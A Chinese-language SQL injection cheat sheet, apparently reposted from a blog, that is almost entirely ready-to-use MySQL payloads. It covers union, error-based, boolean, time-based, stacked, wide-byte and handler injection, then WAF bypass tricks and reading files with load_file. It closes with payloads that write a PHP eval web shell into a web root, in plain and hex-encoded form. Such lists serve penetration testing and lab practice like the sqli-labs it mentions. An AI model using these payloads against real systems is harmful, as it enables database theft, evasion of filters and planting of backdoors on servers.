目錄
注入點位置及發現
判斷輸入點是否存在注入測驗
數值型:
字符型:
group_concat注入:
union注入:
limit注入:
報錯注入:
布爾注入:
時間注入:
堆查詢注入:
寬位元組注入:
base64注入:
Cookie注入、Referer注入、UA注入、XFF注入
預編譯注入:
Handler注入(從表名查詢欄位名):
SQL繞過WAF
通過SQL陳述句讀寫檔案
注入點位置及發現:
-
GET引數注入
-
POST引數注入
-
user-agent注入
-
cookies注入
-
referer注入
-
...
判斷輸入點是否存在注入測驗:
-
插入單引號
-
數字型判斷,如1' and '1'='1【目的是為了閉合原陳述句后方單引號】
-
...
數值型:
1 union select 1,2,database()
字符型:
1' union select 1,2,database()
group_concat注入:
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()
union注入:
1' union select 1,2,database()
limit注入:
1' union select table_name from information_schema.tables where table_schema=database() limit 0,1
報錯注入:
updatexml方式:
1' and(updatexml(1,concat(0x7e,(select(database())),0x7e),1))
查詢資料庫名稱:
1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)
?
1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1)
查詢表名:
1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)
extractvalue方式:
1 and(extractvalue(1, concat(0x7e,(select database()))))
floor方式(查詢資料庫):
1 and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
?
1 and(select 1 from (select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
查詢表(以emails舉例,emails十六進制編碼為656d61696c73)
?1 and(select 1 from (select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x656d61696c73 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23
floor可以在sqli-labs的level1中復現,phpstudy測驗版本為5.4.45+apache

exp:
1 and exp(~(select * from (select database())x))%23
布爾注入:
猜測資料庫長度:
1 and length(database())>5
猜測資料庫名第一個字串:
1 and substr(database(),1,1)='s'
猜測資料庫表第一個字串:
1 and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e'
空格過濾查資料庫名第一個字串:
1^(ascii(substr((select(database())),1,1))=ascii('s'))
?
1^(ord(substr((select(database())),1,1))=ascii('s'))
空格過濾查資料庫名第二個字串:
1^(ascii(substr((select(database())),2,1))=ascii('q'))
空格過濾查表名:
1^(ascii(substr((select(flag)from(flag)),1,1))=ascii('f'))
?
1^(if((ascii(substr((select(flag)from(flag)),1,1))=102),0,1))
時間注入:
1 and if(substr(database(),1,1)='s',sleep(5),1)
堆查詢注入:
1;select if(substr(database(),1,1)='s',sleep(5),1)
?
1;show databases;
寬位元組注入:
1%df' union select 1,2,database()
base64注入:
https://www.baidu.com?id=MSBhbmQgMCB1bmlvbiBzZWxlY3QgMSwyLDM=
Cookie注入、Referer注入、UA注入、XFF注入
預編譯注入:
1';use sqli;set @sql=concat('se','lect `欄位` from `表名`');PREPARE ganyu FROM @sql;EXECUTE ganyu;#
Handler注入(從表名查詢欄位名):
1';show tables;handler `FlagHere` open;handler `FlagHere` read first;#
SQL繞過WAF
大小寫繞過
1 and 0 Union select 1,2,database()
雙寫繞過
1 and 0 uunionnion select 1,2,database()
編碼繞過
1 and 0 %25%37%35%25%36%65%25%36%39%25%36%66%25%36%65 select 1,2,database()
通過十六進制過濾繞過
1 and 0 union selec\x74 1,2,database()
1 and 0 unio\x6e select 1,2,database()
空格過濾
1/**/and/**/0/**/union/**/select/**/1,2,database()
內斂注釋繞過
1 /*!and*/ 1=2
1/*%!"/*/order/*%!"/*/by 3
union/*233*/select/*233*/1,2,database()
通過SQL陳述句讀寫檔案
注:在mysql用戶擁有file權限時,擁有load_file和into outfile/dumpfile進行讀寫
讀取
1 union select load_file('/etc/hosts')
繞過單引號十六進制編碼
1 union select load_file(0x2F6574632F686F737473)
寫入
1 union select '<?php @eval($_POST['ganyu']);?>' into outfile 'var/www/html/shell.php'
繞過單引號十六進制編碼
1 union select unhex(0x3C3F70687020406576616C28245F504F53545B2767616E7975275D293B3F3E) into dumpfile 'var/www/html/shell.php'
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/327892.html
標籤:其他
上一篇:帶有自定義類的AutowireMap并使用別名來獲取正確的物件參考
下一篇:Apache中間件漏洞學習
